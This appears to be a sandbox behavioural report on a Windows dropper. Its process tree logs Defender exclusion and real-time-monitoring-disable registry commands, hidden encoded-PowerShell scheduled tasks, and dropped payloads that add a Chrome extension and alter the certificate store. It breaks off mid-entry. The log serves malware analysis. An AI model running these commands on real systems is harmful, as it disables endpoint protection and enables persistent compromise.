PID 1176 wrote to memory of 816	1176	Install.exe	30
PID 1176 wrote to memory of 816	1176	Install.exe	30
PID 1176 wrote to memory of 816	1176	Install.exe	30
PID 1176 wrote to memory of 816	1176	Install.exe	30
PID 1176 wrote to memory of 816	1176	Install.exe	30
PID 1176 wrote to memory of 1112	1176	Install.exe	32
PID 1176 wrote to memory of 1112	1176	Install.exe	32
PID 1176 wrote to memory of 1112	1176	Install.exe	32
PID 1176 wrote to memory of 1112	1176	Install.exe	32
PID 1176 wrote to memory of 1112	1176	Install.exe	32
PID 1176 wrote to memory of 1112	1176	Install.exe	32
PID 1176 wrote to memory of 1112	1176	Install.exe	32
PID 816 wrote to memory of 1596	816	forfiles.exe	35
PID 816 wrote to memory of 1596	816	forfiles.exe	35
PID 816 wrote to memory of 1596	816	forfiles.exe	35
PID 816 wrote to memory of 1596	816	forfiles.exe	35
PID 816 wrote to memory of 1596	816	forfiles.exe	35
PID 816 wrote to memory of 1596	816	forfiles.exe	35
PID 816 wrote to memory of 1596	816	forfiles.exe	35
PID 1112 wrote to memory of 1612	1112	forfiles.exe	34
PID 1112 wrote to memory of 1612	1112	forfiles.exe	34
PID 1112 wrote to memory of 1612	1112	forfiles.exe	34
PID 1112 wrote to memory of 1612	1112	forfiles.exe	34
PID 1112 wrote to memory of 1612	1112	forfiles.exe	34
PID 1112 wrote to memory of 1612	1112	forfiles.exe	34
PID 1112 wrote to memory of 1612	1112	forfiles.exe	34
PID 1612 wrote to memory of 1452	1612	cmd.exe	37
PID 1612 wrote to memory of 1452	1612	cmd.exe	37
PID 1612 wrote to memory of 1452	1612	cmd.exe	37
PID 1612 wrote to memory of 1452	1612	cmd.exe	37
PID 1612 wrote to memory of 1452	1612	cmd.exe	37
PID 1612 wrote to memory of 1452	1612	cmd.exe	37
PID 1612 wrote to memory of 1452	1612	cmd.exe	37
PID 1596 wrote to memory of 1100	1596	cmd.exe	36
PID 1596 wrote to memory of 1100	1596	cmd.exe	36
PID 1596 wrote to memory of 1100	1596	cmd.exe	36
PID 1596 wrote to memory of 1100	1596	cmd.exe	36
PID 1596 wrote to memory of 1100	1596	cmd.exe	36
PID 1596 wrote to memory of 1100	1596	cmd.exe	36
PID 1596 wrote to memory of 1100	1596	cmd.exe	36
PID 1612 wrote to memory of 1912	1612	cmd.exe	39
PID 1612 wrote to memory of 1912	1612	cmd.exe	39
PID 1612 wrote to memory of 1912	1612	cmd.exe	39
PID 1612 wrote to memory of 1912	1612	cmd.exe	39
PID 1612 wrote to memory of 1912	1612	cmd.exe	39
PID 1612 wrote to memory of 1912	1612	cmd.exe	39
PID 1612 wrote to memory of 1912	1612	cmd.exe	39
PID 1596 wrote to memory of 1984	1596	cmd.exe	38

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1064
- C:\Users\Admin\AppData\Local\Temp\7zS3AA.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Users\Admin\AppData\Local\Temp\7zS761.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1176
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:816
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1596
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1100
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1984
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1112
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1612
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1452
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1912
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gvGTDIaMB" /SC once /ST 03:49:03 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:2020
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gvGTDIaMB"
      4⤵
      PID:1480
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gvGTDIaMB"
      4⤵
      PID:564
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bGZpGlqvDNKjraWjlZ" /SC once /ST 07:00:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\fDamkvw.exe\" d8 /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1492

C:\Windows\system32\taskeng.exe
taskeng.exe {E17A9D29-D905-4E65-915D-105781E02B4A} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]
1⤵
PID:1896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1464
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1888
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:800
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1548
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1032

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1544

C:\Windows\system32\taskeng.exe
taskeng.exe {5B9E991F-6592-4ACC-B9D5-3827FE6C56A6} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1688
- C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\fDamkvw.exe
  C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\fDamkvw.exe d8 /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gnsoXEexx" /SC once /ST 05:07:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gnsoXEexx"
    3⤵
    PID:1820
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gnsoXEexx"
    3⤵
    PID:1544
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1420
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:840
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:552
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gxOZSLDRp" /SC once /ST 01:38:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gxOZSLDRp"
    3⤵
    PID:1528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gxOZSLDRp"
    3⤵
    PID:2000
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1892
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2028
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1708
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1540
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1008
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1280
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1044
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\fwhiGQHhSfnZUzkc\HfRgmnNW\nbOCdoWqKxrbMxdt.wsf"
    3⤵
    PID:1636
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\fwhiGQHhSfnZUzkc\HfRgmnNW\nbOCdoWqKxrbMxdt.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1520
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1528
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1608
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1612
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1984
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jIUrjTqJU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1672
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jIUrjTqJU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1032
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVCmSimpmwUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:516
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVCmSimpmwUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1864
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\twylNxKJekDU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:756
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\twylNxKJekDU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\CEEEIGvNcEpIBnVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:932
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\CEEEIGvNcEpIBnVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2024
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1540
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:604
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1636
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1156
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:716
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1112
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1944
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:800
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jIUrjTqJU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1940
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jIUrjTqJU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1716
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVCmSimpmwUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1180
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVCmSimpmwUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1604
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\twylNxKJekDU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1632
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\twylNxKJekDU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2028
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\CEEEIGvNcEpIBnVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1640
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\CEEEIGvNcEpIBnVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1956
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:612
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1368
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1728
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fwhiGQHhSfnZUzkc" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gyHhRlVRw" /SC once /ST 06:18:20 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gyHhRlVRw"
    3⤵
    PID:1612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gyHhRlVRw"
    3⤵
    PID:1388
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:840
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:1192
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:828
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:1376
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "HqggdVJZxuzvaULcA" /SC once /ST 05:33:49 /RU "SYSTEM" /TR "\"C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\FqDMnCs.exe\" Av /site_id 525403 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "HqggdVJZxuzvaULcA"
    3⤵
    PID:1648
- C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\FqDMnCs.exe
  C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\FqDMnCs.exe Av /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  PID:612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bGZpGlqvDNKjraWjlZ"
    3⤵
    PID:1016
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:1608
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
      4⤵
      PID:1900
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:1728
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
      4⤵
      PID:2012
- - C:\Windows\SysWOW64\schtasks.exe
